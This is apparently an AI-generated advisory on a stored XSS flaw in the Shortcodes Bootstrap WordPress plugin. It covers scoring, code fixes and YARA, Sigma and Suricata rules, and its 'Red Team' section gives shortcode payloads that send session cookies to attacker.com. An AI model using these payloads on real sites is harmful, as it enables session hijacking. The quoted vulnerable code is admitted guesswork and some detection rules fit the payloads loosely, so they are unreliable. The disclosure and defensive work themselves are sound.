CVE-2025-11764

Executive Summary

CVE-2025-11764 is a Stored Cross-Site Scripting (XSS) vulnerability in the Shortcodes Bootstrap WordPress plugin, affecting all versions up to and including 1.1. The flaw resides in the [notification] shortcode, specifically within the type parameter, which lacks proper input sanitization and output escaping. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a user (including administrators) visits a page containing the malicious shortcode, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

The vulnerability is classified as Medium severity (CVSS 6.4) due to the requirement for authenticated access, but the impact is amplified in multi-tenant WordPress environments or sites with many contributors. No public exploit code or Nuclei template is available at this time, but the attack vector is straightforward and can be weaponized with minimal effort.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are at risk. There is no known compromise of the plugin’s update channel, but the lack of a patch from the vendor increases supply chain risk. Organizations should treat this as a high-priority unpatched component and consider removing or replacing the plugin.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – Attacker needs Contributor-level access or higher.
• User Interaction: None (UI:N) – No user action is needed for the script to execute.
• Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Limited ability to modify content.
• Availability Impact: None (A:N) – No direct denial of service.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored XSS nature means any visitor to the compromised page is affected. In WordPress environments with many contributors, the risk is elevated.

Deep Dive & Mechanics

The vulnerability exists in the [notification] shortcode provided by the Shortcodes Bootstrap plugin. The shortcode is intended to display Bootstrap-style notification alerts. The type parameter controls the alert style (e.g., success, info, warning, danger). The plugin fails to sanitize user input in the type parameter and does not escape the output when rendering the shortcode.

Root Cause:

• The plugin uses add_shortcode('notification', ...) to register the shortcode.
• Inside the shortcode handler, the type attribute is retrieved via $atts['type'] and directly concatenated into the HTML output without any sanitization or escaping.
• For example, the code might look like: return '<div class="alert alert-' . $atts['type'] . '">' . $content . '</div>';
• An attacker can inject a payload like: " onclick="alert(1)" or "><script>alert(1)</script> into the type parameter.

Attack Flow:

1. An authenticated user with Contributor-level access creates or edits a post/page.
2. The user inserts the shortcode: [notification type="success"][/notification]
3. The attacker modifies the type parameter to include a malicious payload, e.g., [notification type="success\" onclick=\"alert(document.cookie)\""]Test[/notification]
4. When any user (including admins) views the page, the injected JavaScript executes in their browser context.

Why Stored XSS is Dangerous:

• The payload is stored in the WordPress database and executed every time the page is loaded.
• It can be used to steal session cookies, redirect users to phishing sites, or perform actions on behalf of the victim (e.g., creating admin accounts).

Vulnerable vs. Patched Code

Since no official patch is available, the following shows the vulnerable code pattern and a recommended fix.

Vulnerable Code (PHP):

add_shortcode('notification', function($atts, $content = null) {
    $type = $atts['type'] ?? 'info';
    return '<div class="alert alert-' . $type . '">' . $content . '</div>';
});

Patched Code (Recommended):

add_shortcode('notification', function($atts, $content = null) {
    $type = isset($atts['type']) ? sanitize_html_class($atts['type']) : 'info';
    $allowed_types = ['success', 'info', 'warning', 'danger'];
    if (!in_array($type, $allowed_types)) {
        $type = 'info';
    }
    return '<div class="alert alert-' . esc_attr($type) . '">' . esc_html($content) . '</div>';
});

Key Fixes:

• Use sanitize_html_class() to strip dangerous characters from the type parameter.
• Implement a whitelist of allowed values.
• Use esc_attr() when outputting the attribute value.
• Use esc_html() for the content to prevent XSS in the message body.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress instance with the Shortcodes Bootstrap plugin (version <= 1.1) installed and activated.
• An authenticated user account with at least Contributor-level privileges.

Step-by-Step Exploitation:

1. Login as a Contributor-level user.
2. Create a new post or edit an existing one.
3. Switch to Text/Code editor (not Visual).
4. Insert the malicious shortcode:

   [notification type="success\" onclick=\"alert(document.cookie)\""]Click me[/notification]
   

   Or for a more impactful payload:

   [notification type="success\"><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]Test[/notification]
   

5. Publish or update the post.
6. Wait for an admin or other user to visit the page. The script executes automatically.

Alternative Payload (Steal Admin Session):

[notification type="success\" onmouseover=\"var i=new Image(); i.src='https://attacker.com/log?c='+document.cookie;\""]Hover here[/notification]

Note: No public exploit code exists in Exploit-DB, but the above manual technique is sufficient for proof-of-concept.

Blue Team (Detection & Hardening)

Detection Steps:

1. Monitor for suspicious shortcode usage in post content. Look for [notification with unusual type values containing quotes, <, >, or on* event handlers.
2. Review WordPress logs for posts created/modified by Contributor-level users containing the [notification] shortcode.
3. Use a Web Application Firewall (WAF) to block requests containing XSS patterns in shortcode parameters.

Hardening:

1. Disable the plugin immediately if not critical.
2. Apply a virtual patch using a WAF rule to block malicious type parameter values.
3. Restrict Contributor-level users from using shortcodes if not necessary.
4. Implement Content Security Policy (CSP) headers to mitigate XSS impact (e.g., script-src 'self').

Indicators of Compromise (IOCs)

File-Based IOCs:

• Plugin file: /wp-content/plugins/shortcodes-bootstrap/shortcodes-bootstrap.php
• Suspicious post content containing [notification type="..."] with unusual characters.

Network IOCs:

• Outbound HTTP requests to attacker-controlled domains (e.g., attacker.com/log?c=...).
• POST requests to /wp-admin/post.php or /wp-admin/admin-ajax.php containing XSS payloads in shortcode parameters.

Log IOCs:

• WordPress debug log entries showing unexpected shortcode attributes.
• Web server access logs with [notification in the request body.

YARA Rule:

rule CVE_2025_11764_Shortcodes_Bootstrap_XSS {
    meta:
        description = "Detects malicious shortcode usage in WordPress posts"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-11764"
    strings:
        $shortcode = /\[notification\s+type\s*=\s*["'][^"']*["']\s*\]/ nocase
        $xss_payload = /["']\s*on\w+\s*=\s*["']/ nocase
        $xss_script = /<script\b[^>]*>/i
    condition:
        $shortcode and ($xss_payload or $xss_script)
}

Sigma Rule:

title: CVE-2025-11764 Shortcodes Bootstrap Stored XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via the [notification] shortcode in WordPress
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'post.php'
        cs-request-body|contains: '[notification'
    condition: selection
falsepositives:
    - Legitimate use of the shortcode with safe parameters
level: high

Suricata Rule:

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-11764 Shortcodes Bootstrap Stored XSS Attempt"; flow:to_server,established; content:"[notification"; http_client_body; nocase; pcre:"/\[notification\s+type\s*=\s*["'][^"']*["']\s*\]/i"; sid:10000001; rev:1;)

Detection Engineering

YARA Rule (for scanning WordPress uploads/database exports):

rule CVE_2025_11764_Shortcodes_Bootstrap_XSS_File {
    meta:
        description = "Detects malicious shortcode in WordPress database dumps"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $shortcode = /\[notification\s+type\s*=\s*["'][^"']*["']\s*\]/ nocase
        $xss_payload = /["']\s*on\w+\s*=\s*["']/ nocase
        $xss_script = /<script\b[^>]*>/i
    condition:
        $shortcode and ($xss_payload or $xss_script)
}

Sigma Rule (for Windows Event Logs - IIS):

title: CVE-2025-11764 Shortcodes Bootstrap Stored XSS - IIS
id: 8b9c0d1e-2f3a-4b5c-6d7e-8f9a0b1c2d3e
status: experimental
description: Detects XSS attempts via shortcode in IIS logs
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: iis
    service: w3svc
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem|contains: '/wp-admin/post.php'
        cs-request-body|contains: '[notification'
    condition: selection
falsepositives:
    - Legitimate shortcode usage
level: high

Suricata Rule (for network traffic):

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-11764 Shortcodes Bootstrap Stored XSS - Outbound Callback"; flow:to_server,established; content:"/log?c="; http_uri; nocase; sid:10000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Shortcodes Bootstrap plugin until a patch is released.
2. Scan all posts and pages for malicious shortcode usage. Use the YARA rule above to automate detection.
3. Remove any suspicious shortcode from the database via SQL or WordPress admin.

Long-Term Fixes:

• Replace the plugin with an alternative that is actively maintained.
• Apply a virtual patch using a WAF (e.g., ModSecurity rule to block [notification with suspicious type values).
• Implement Content Security Policy (CSP) headers to prevent inline script execution.

Vendor Communication:

• Since the vendor has not released a patch, consider forking the plugin and applying the fix yourself, or report the issue to the WordPress plugin team for removal.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.